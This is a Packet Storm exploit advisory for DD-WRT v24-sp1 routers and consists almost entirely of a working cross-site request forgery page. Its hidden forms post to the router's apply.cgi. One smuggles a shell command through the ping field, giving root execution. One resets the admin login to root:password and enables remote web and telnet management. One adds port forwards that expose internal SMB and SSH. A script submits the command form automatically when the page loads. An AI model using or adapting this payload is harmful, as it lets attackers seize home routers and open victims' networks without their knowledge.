DD-WRT 24-sp1 Cross Site Request Forgery

2008-12-08T00:00:00
ID PACKETSTORM:72697
Type packetstorm
Reporter Michael Brooks
Modified 2008-12-08T00:00:00

Description

                                        
                                            `Remote root dd-wrt  
--------------------------------------------------------------------------------  
  
Written by Michael Brooks  
Special thanks to str0ke  
  
Exploits tested on the newist stable version:  
Firmware: DD-WRT v24-sp1 (07/27/08) micro  
Product Homepage:  
http://dd-wrt.com/  
  
Impact:  
1)Remote root command execuiton /bin/sh  
2)Change web administration password and enable remote admistration  
3)create new Port Forwarding rules to byass NAT.  
  
<html>  
<head>  
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">  
</head>  
Remote root command execution /bin/sh  
<form method="post" action="http://192.168.1.1/apply.cgi" id=1>  
<input name="submit_button" value="Ping" type="hidden">  
<input name="action" value="ApplyTake" type="hidden">  
<input name="submit_type" value="start" type="hidden">  
<input name="change_action" value="gozila_cgi" type="hidden">  
<input name="next_page" value="Diagnostics.asp" type="hidden">  
<input name="ping_ip" value="echo owned">  
<input name="execute command" type="submit">  
</form><br><br>   
enable remote administration and change login to root:password  
<form method="post" action="http://192.168.1.1/apply.cgi">  
<input name="submit_button" value="Management" type="hidden">  
<input name="action" value="ApplyTake" type="hidden">  
<input name="change_action" value="" type="hidden">  
<input name="submit_type" value="" type="hidden">  
<input name="commit" value="1" type="hidden">  
<input name="PasswdModify" value="0" type="hidden">  
<input name="remote_mgt_https" value="" type="hidden">  
<input name="http_enable" value="1" type="hidden">  
<input name="info_passwd" value="0" type="hidden">  
<input name="https_enable" value="" type="hidden">  
<input name="http_username" value="root" type="hidden">  
<input name="http_passwd" value="password" type="hidden">  
<input name="http_passwdConfirm" value="password" type="hidden">  
<input name="_http_enable" value="1" type="hidden">  
<input name="refresh_time" value="3" type="hidden">  
<input name="status_auth" value="1" type="hidden">  
<input name="maskmac" value="1" type="hidden">  
<input name="remote_management" value="1" type="hidden">  
<input name="http_wanport" value="8080" type="hidden">  
<input name="remote_mgt_telnet" value="1" type="hidden">  
<input name="telnet_wanport" value="23" type="hidden">  
<input name="boot_wait" value="on" type="hidden">  
<input name="cron_enable" value="1" type="hidden">  
<input name="cron_jobs" value="" type="hidden">  
<input name="loopback_enable" value="1" type="hidden">  
<input name="nas_enable" value="1" type="hidden">  
<input name="resetbutton_enable" value="1" type="hidden">  
<input name="zebra_enable" value="1" type="hidden">  
<input name="ip_conntrack_max" value="512" type="hidden">  
<input name="ip_conntrack_tcp_timeouts" value="3600" type="hidden">  
<input name="ip_conntrack_udp_timeouts" value="120" type="hidden">  
<input name="overclocking" value="200" type="hidden">  
<input name="router_style" value="yellow" type="hidden">  
<input name="Remote Admin" type="submit">  
</form><br><br>  
Change Port Forwarding to byass NAT protection.  
<form method="post" action="http://192.168.1.1/apply.cgi">   
<input name="submit_button" value="Change Port Forwarding" type="submit">  
<input name="action" value="ApplyTake" type="hidden">  
<input name="change_action" value="" type="hidden">  
<input name="submit_type" value="" type="hidden">  
<input name="forward_spec" value="13" type="hidden">  
<input name="name0" value="Hacked" type="hidden">  
<input name="from0" value="4450" type="hidden">  
<input name="pro0" value="both" type="hidden">  
<input name="ip0" value="192.168.1.100" type="hidden">  
<input name="to0" value="445" type="hidden">  
<input name="enable0" value="on" type="hidden">  
<input name="name1" value="Hacked Again" type="hidden">  
<input name="from1" value="22" type="hidden">  
<input name="pro1" value="tcp" type="hidden">  
<input name="ip1" value="192.168.1.101" type="hidden">  
<input name="to1" value="22" type="hidden">  
<input name="enable1" value="on" type="hidden">  
</form>  
</html>  
<script>  
document.getElementById(1).submit();//remote root command execution!  
</script>  
  
  
`